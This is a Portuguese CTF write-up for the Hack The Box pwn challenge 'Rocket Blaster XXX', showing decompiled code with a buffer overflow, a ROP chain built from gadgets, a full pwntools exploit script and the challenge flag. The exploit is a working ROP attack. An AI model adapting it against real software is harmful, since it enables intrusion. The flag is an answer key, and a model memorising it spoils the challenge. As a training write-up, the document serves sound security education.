Rocket Blaster XXX
Descrição do Desafio:
Autor: w3th4nds Plataforma: Hack The Box Categoria: Pwn Dificuldade: Fácil Data: 2024 Descrição:
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
Passo a Passo da Solução
1. Análise do arquivo fornecido
O desafio não fornece código-fonte, e executando o executável vemos que podemos inserir algum input. Após isso o programa encerra a execução.
Prepare for trouble and make it double, or triple..
You need to place the ammo in the right place to load the Rocket Blaster XXX!
>> HawkSec_Best_Team
Preparing beta testing..Analisando o assembly pelo Ghidra, podemos perceber que o código se resume basicamente a função main() que chama uma função para definir uns valores iniciais e chama outra para imprimir o banner, por fim chama a read() para ler a entrada do usuário.
undefined8 main(void)
{
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
banner();
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
fflush(stdout);
printf(
"\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in the right place to load the Rocket Blaster XXX!\n\n>> "
);
fflush(stdout);
read(0,&local_28,0x66);
puts("\nPreparing beta testing..");
return 0;
}Porém, podemos notar mais duas outras coisas. A primeira é que o buffer pode ser estourado por meio da quantidade informada na função read(), e a segunda é que existe uma função denominada fill_ammo() que imprime a flag caso seus parâmetros sejam iguais a 0xdeadbeef, 0xdeadbabe, e 0xdead1337.
2. Exploit
Este desafio consiste no exploit conhecido como ROP, pois nosso objetivo é controlar o fluxo de retorno da função main(), de forma que seja possível retornar para instruções que nos permitam modificar o valor de registradores específicos, para definirmos os parâmetros, e por fim retorne para a função fill_ammo().
Como o executável não contém a proteção PIE, não precisamos nos preocupar com vazar algum endereço, e podemos verificar a existência dos gadgets através do comando ROPgadget --binary=rocket_blaster_xxx.
Por meio do comando, verificamos que existe os gadgets para os parâmetros, e por fim, podemos identificar a quantidade de bytes que devemos escrever com lixo para chegar no endereço de retorno por meio do pwndbg, um breakpoint, e um buffer estourado.
from pwn import *
elf = context.binary = ELF("./rocket_blaster_xxx")
p = remote("ip", porta)
#p = process()
# ROP gadgets.
pop_param1 = 0x000000000040159f
pop_param2 = 0x000000000040159d
pop_param3 = 0x000000000040159b
# Parâmetros.
param1 = 0xdeadbeef
param2 = 0xdeadbabe
param3 = 0xdead1337
# Payload
payload = flat(
"A" * 40,
p64(pop_param1),
p64(param1),
p64(pop_param2),
p64(param2),
p64(pop_param3),
p64(param3),
p64(0x000000000040101a), # instrução ret para alinhar a pilha
p64(elf.sym["fill_ammo"])
)
p.sendlineafter(b">> ", payload)
print(p.recvall().decode())Flag
HTB{b00m_b00m_b00m_3_r0ck3t5_t0_th3_m00n}
Autor da WriteUp
Atualizado